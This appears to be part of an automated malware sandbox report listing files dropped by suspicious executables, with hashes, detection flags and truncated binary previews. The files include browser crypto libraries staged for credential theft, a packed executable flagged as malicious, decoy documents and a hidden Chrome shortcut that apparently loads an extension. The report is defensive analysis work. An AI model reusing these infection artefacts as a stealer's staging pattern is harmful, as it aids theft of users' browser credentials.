a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERED9D.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6968869534776503
Encrypted:	false
SSDEEP:	96:TiZYWKndbQYbY0SNYH/YEZHttrieMnylwqazJaKlLDM4a0UIeR3F:2ZD7sbneaKlLDM4a0Du3F
MD5:	541CBB2455A2985F99B85FDBDD62C461
SHA1:	8E2040F607868CDEB6D65454C4C06A360BCA606B
SHA-256:	5C28B4C46120AD14588B07C440D32B62952A2D6BC5F19A4226796E941C5125EE
SHA-512:	F505521292779C81C681E1B01A2625FC2CCCD0EDB387752091A9924C9D3430DB3CB04813B53C07BD69FFC99F5B92B924523046A5270E4E9A73A38FA66798AEEC
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\PALRGUCVEH.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\ProgramData\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\ProgramData\UNKRLCVOHV.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\ProgramData\UNKRLCVOHV.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: jE4zclRJU2.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, Detection: malicious, Browse Filename: BI6oo9z4In.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: btCbrSS2Je.exe, Detection: malicious, Browse Filename: 7urUz64I0Y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11403264
Entropy (8bit):	7.976262170621303
Encrypted:	false
SSDEEP:	196608:SYvZvPF60956XHt6+YF+ELzL2Zjbn2YH0oD6DGcCwHbGkG:3Fcw5kHo5F+E+j7260oOYc
MD5:	D43AC79ABE604CAFFEFE6313617079A3
SHA1:	B3587D3FA524761B207F812E11DD807062892335
SHA-256:	8B750884259DD004300A84505BE782D05FCA2E487A66484765A4A1E357B7C399
SHA-512:	BB22C73ED01FF97B73FEB68AE2611B70EF002D1829035F58A4BA84C5A217DB368AAE8BDC02CDEC59C1121922A207C662AA5F0A93377537DA42657DD787587082
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...._3f..........#..........,......`..........@.......................................... .................................................06..d.......X,...Y...*..............................................(....W..8...............h............................text....~.......................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0....,......................... ..`.text1..8...........................@....text2............................`..h.rsrc...X,.........................@..@........................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 13:16:57 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2210
Entropy (8bit):	3.5001704487325553
Encrypted:	false
SSDEEP:	48:8SWl2dfTXdARYrnvPdAKRkdA0qOJq87dAKRFdAKRE:8SWlO70
MD5:	3E08595D0880FD65B5D1719EECA76D0C
SHA1:	DDE30489879C3FD1AD941662C8C03572DA0B42C0
SHA-256:	A7EEFF977C6CD5A82453344CE002485FBA3CD3BB2126E6CE6406E11FD10284CE
SHA-512:	82137854698638D105F9B618AFB99BB3FAF942ACD4F38D42B01DB685CDBB530352A92D7FACFA7A8B3FC4F8AC32734844D9212D11B9EE7E6B0036CFFFDB449848
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,....&.;o.......q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IDW.r....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWUl....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWUl....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWUl..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDW.r..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.@. .-.-.l.o.a.d.-.e.x.t.e.n.s

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\A_22rjVO67ooiUk2ueyL6tMl.exe.log

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MsBuild.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Reputation:	unknown
